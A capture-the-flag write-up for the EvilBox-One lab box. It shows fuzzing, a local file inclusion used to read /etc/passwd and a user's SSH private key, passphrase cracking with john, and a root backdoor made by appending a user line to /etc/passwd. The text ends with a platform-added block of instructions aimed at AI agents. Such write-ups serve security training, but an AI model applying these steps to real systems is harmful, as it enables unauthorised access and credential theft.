# Proving grounds Play: EvilBox-One

Proving grounds Play - EvilBox-One CTF writeup.

### Nmap

```sh
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### PORT 80 || Web

![img](/files/FHedINMekMVW70qyUGlz)

### Fuzzing

#### Files

![img](/files/ym1vNK19vocWhiz8T8Pk)

#### Directory

![img](/files/76ax8aBZP3dsYDdS5N6Q)

Fuzz for files in `/secrets` directory.

![img](/files/JAWVfwdBNvVz0HWZYR31)

**Found file evil.php**

<http://192.168.152.212/secret/evil.php>

### Fuzz for paramaters

<http://192.168.152.212/secret/evil.php?FUZZ=/etc/passwd>

Trying local file inclusion vulnerability to check the words retieved in the response to confirm the parameter.

![img](/files/9UC2ka1X42vliubeBGVy)

<http://192.168.152.212/secret/evil.php?command=/etc/passwd>

![img](/files/ym0ym3jkLuYcWGwgOAzC)

As shown in the above `/etc/passwd` file we have a user `mowree`.

```sh
mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash
```

Using the LFI vulnerability we can obtain the SSH key for the user `mowree`.

<http://192.168.152.212/secret/evil.php?command=/home/mowree/.ssh/id\\_rsa>

![img](/files/QQoW46UJfzbPRFRA68KH)

SSH to mowree using the SSH key.

Using id\_rsa key to login to the `mowree` user account is prompted with password to continue. So use `ssh2john` to create hash for the SSH key and crack the same using john.

![img](/files/ZdtGAkYHUqT4ACEQYS4Q)

Extracted password `unicorn`

**Initial Foothold Obtained**

![img](/files/fdfxwFvxOBNWsfqBO0ca)

### Privilege Escalation

Check the permissions for `/etc/passwd`.

/etc/passwd is writable so we can create our own root user.

**Writing new user to /etc/passwd**

```sh
echo "hacker:bWBoOyE1sFaiQ:0:0:root:/root:/bin/bash" >> /etc/passwd
```

Switch to user `hacker` and enter password `mypass` to obtain root.

![img](/files/60dugB5r5af4m8iffzb5)

Thanks for reading!

For more updates and insights, follow me on Twitter: [@thevillagehacker](https://twitter.com/thevillagehackr).


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://thevillagehacker-security.gitbook.io/ctf-writeups/writeups/2023-09-02-proving_grounds_play-evilbox-one.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
